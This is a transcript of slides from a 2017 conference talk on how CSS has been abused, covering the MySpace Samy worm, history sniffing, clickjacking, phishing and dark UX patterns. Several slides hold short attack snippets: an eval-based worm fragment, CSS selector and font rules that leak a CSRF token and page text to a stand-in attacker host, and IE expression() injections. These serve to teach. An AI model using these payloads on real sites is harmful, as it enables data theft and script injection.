CSS For Good, Not Evil

My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam

Transcript

1. CSS For Evil, Not Good. How style has been used to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
4. catawiki.com/jobs
5. MySpace
9. Samy
10. In a relationship.
11. In a relationship. hot
13. but most of all, Samy is 
 my hero By vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
14. <div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
15. WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
16. Samy didn’t have 
 evil intentions.
17. I’m not a security expert.
19. There are different levels of evil.
20. Level 1: Getting some 
 browsing history.
21. weirdbutdead.com
22. weirdbutdead.com getComputedStyle
23. Boolean algebra & mix-blend-mode
24. http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
25. Level 2 Mathias Bynens’ Evil Basement of Horrors
26. Some Belgian kid 
 did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
27. Stealing DOM data
28. <input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); } #csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
29. Text-symbol leaking
30. <div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face { font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
31. Forcing IE=7 Expressions
32. .foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
33. Level 3 Path-relative 
 stylesheet import http://blog.portswigger.net/2015/02/prssi.html
34. http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah * { width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
35. Level 4 Content replacement
36. <style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
37. Oops: allow users to add <style>
38. Allow users to add classes. Oops.
39. Allow users to add classes. Oops.
40. Level 5 UI Redressing “Clickjacking”
41. LinkedIn
42. .li_style { position: absolute; width: 100%; z-index: 10021; position: fixed; top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
43. {"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
45. Level 6 Phishing
46. https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
49. One thing going for us, at least for now: most scammers aren’t great designers.
50. “Good” design works. Even for evil.
51. Level 7 Dark Patterns Black Hat UX
52. Sophisticated deceivers seem knowledgable about behaviour as well as technology.
54. Image: https://www.brignull.com/
57. “Roach Motel”
58. Unsubscribe…
62. Misdirection
67. Confirmation of 
 desired behaviour
68. Yes | No Yes | Not right now Yes | Maybe later There is a significant difference between these sets of choices.
69. Exploiting 
 behavioural patterns
71. People who stand to gain something from you have motive to deceive.
72. Level 8 Command execution 
 on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
75. When systems become more complex, the number of possible weaknesses can increase, yet become less apparent.
76. What’s the
 takeaway here? Nothing.
77. Is there a 
 positive message? No.
78. Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid” Bynens